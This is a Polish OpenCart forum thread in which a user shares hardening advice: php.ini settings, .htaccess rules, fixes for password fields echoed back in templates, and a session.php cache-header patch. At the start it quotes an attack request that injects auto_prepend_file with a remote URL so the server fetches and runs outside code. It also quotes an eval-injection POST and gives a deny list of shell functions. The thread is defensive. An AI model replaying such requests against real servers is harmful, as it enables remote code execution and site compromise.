Opencart Polska

Witam

Właśnie dołączyłem do grona użytkowników zbanowanych i usuniętych z forum.opencart.com za ujawnienie luk w zabezpieczeniach i podanie zmian koniecznych do lepszego zabezpieczenia OC. Rady zostały usunięte i nie poprawiono dokumentacji. Może poniższe uwagi wam się pomogą.


Poniżej zabezpieczenia przed atakami typu
# wstrzyknięcie exploita przez dauto_prepend_file
GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.5999mu.com/a.txt'
# wstrzyknięcie exploita przez eval
POST /config.php?w1566t=1
Więcej na http://blog.spiderlabs.com/2012/05/hone ... -vuln.html

dodatki do php.ini
allow_url_fopen = Off;
allow_url_include = Off;
#disable injection
auto_prepend_file =none;
expose_php = Off;
display_errors = Off;
display_startup_errors = Off ;
register_globals = Off;
#add eval to list
disable_functions = exec,shell_exec,passthru,system,eval,show_source,proc_open,popen,parse_ini_file,dl;


dodatki do .htaccess
#Block access to configuration files like config.php, set chmod 444 too.
<FilesMatch "config.php">
 Order deny,allow
 Deny from all
</FilesMatch>

# Use this rule if you can't configure apache or php.ini
RewriteCond %{QUERY_STRING} auto_prepend_file
RewriteRule ^(.*)$ - [F,L]

Lepiej byłoby, co dokładnie zrobić, co i w jakim pliku zmienić/dopisać. Wielu userom twoja odpowiedź nic nie daje.

Wydawało mi się to dość czytelne. Sugerowałem uzupełnienie tylko trzech plików dwóch .htaccess znajdujących się w OC i php.ini który jest albo w OC albo w instalacji php (zaleznie od konfiguracji.

PS.
W chwili obecnej widoczny jest większy bug na stronach logowania - hasła jawnie przesyłane do i z browsera...!?
Sugeruję zapoznanie się z wątkiem http://code.google.com/p/opencart/issues/detail?id=971 zanim zostanie usunięty przez Daniela.

możesz to podsumować?
Bo w I poście piszesz o zmianach, potem o kolejnych, a pod linkiem jest jakaś dyskusja, z której w sumie nic nie wiem, co i gdzie zmienić?

To zależy od własnych preferencji. Co prawda OC to nie system bankowy ale pomysł Daniela aby odsyłać hasło użytkownika z powrotem do browsera jest chory i sugeruje tylko że soft z trunka svn nigdy nie zaliczył żadnego audytu ...stąd tradycyjna już wściekłość autora, być może ma lepszy branch dla własnych klientów.

Jeśli ktoś chce to łatać na własną rękę to sugeruję
1. wyszukać wszystkie templatki z inputami type="password" każdy z nich ma value="${cośtam}" i trzeba to ${cośtam} wyrzucić ... z dwoma wyjątkami poniżej
- w customer_form.tpl trzeba costam wyrzucić i dodać atrybut readonly="readonly" ...admina hasło użytkownika nie interesuje , user sam je moze zmienić
- w user_form.tpl cośtam można pozostawić do czasu kiedy się użytkownikowi nie da czegoś a la przypomnij hasło
- na stronach logowania i rejestracji warto usunąć również ${cośtam} dla inputa z emailem

2. jeśli ktoś jest konserwatystą i chce ograniczyć "pamiętliwość" przeglądarek to do powyższych inputów trzeba dodać atrybut autocomplete="off" i analogiczny atrybut do zawierającego tego inputa elementu form ( z reguły jest naście wierszy powyżej)

3. kwestia headerów no-cache jest mocna zależna od platformy, hostingu czy własnej konfiguracji, domyślnie php wysyła headery prawidłowe czyli
Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0" i
Pragma: no-cache
ale gdy coś się popsuje to Firebug ich nie pokazuje, łatwo to osiągnąć "optymalizując" wydajność np. wystarczy dodać do .htaccess wpis
Header add cache-control: public
(...)
i jest kicha.
Domyślne ustawienie wszystkiego na no-cache jest mocno nadmiarowe i niepotrzebnie obciąża serwer
Alternatywą jest dodanie do session.php wpisu session_cache_limiter( FALSE ) i samodzielne ustawianie headerow wtedy kiedy jest potrzeba
czyli dla stron logowania,rejestracji,zamówienia,koszyka itp. ...nie jest to potrzebne dla części usług ajaksowych np. listy krajów, stref itp.
Częściowo można to załatwić patchem session.php a'la


public function __construct() {
if (!session_id()) {
ini_set('session.use_cookies', 'On');
ini_set('session.use_trans_sid', 'Off');
ini_set('session.save_path ', DIR_LOGS);
ini_set('session.gc_probability', 1);
ini_set('session.gc_maxlifetime', 3600);

session_cache_limiter( FALSE ); // disable php headers
session_set_cookie_params(0, '/');
session_start();

//add custom headers
if ( !(empty($_SESSION['user_id']) && empty($_SESSION['customer_id']) && empty($_POST) && (empty($_SESSION['cart']) || count($_SESSION['cart'])==0))){
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0",true);
header("Pragma: no-cache");
}

Dalszych szczegółów nie zdradzam ale zbędny ruch na serwerze spada:)

}

słuchaj trochę Cię zaczynam nie rozumieć...skoro już zaczynasz pisać o "konieczności" wprowadzenia zmian, to dlaczego na końcu piszesz coś typu: "wiem, ale nie powiem"?

Piszesz o jakiejś tam zmianie/zmianach, ale do końca nie określasz jasno co i jak zrobić. Popatrz jak inni piszą, np. adikon - to pionierzy wszelakich zmian w OC wersja PL. wiec można się od niego uczyć.

Punkty 1 i 2 są proste i czytelne. Punkt 3 to wskazówka postępowania tylko dla bardziej zaawansowanego serwisanta.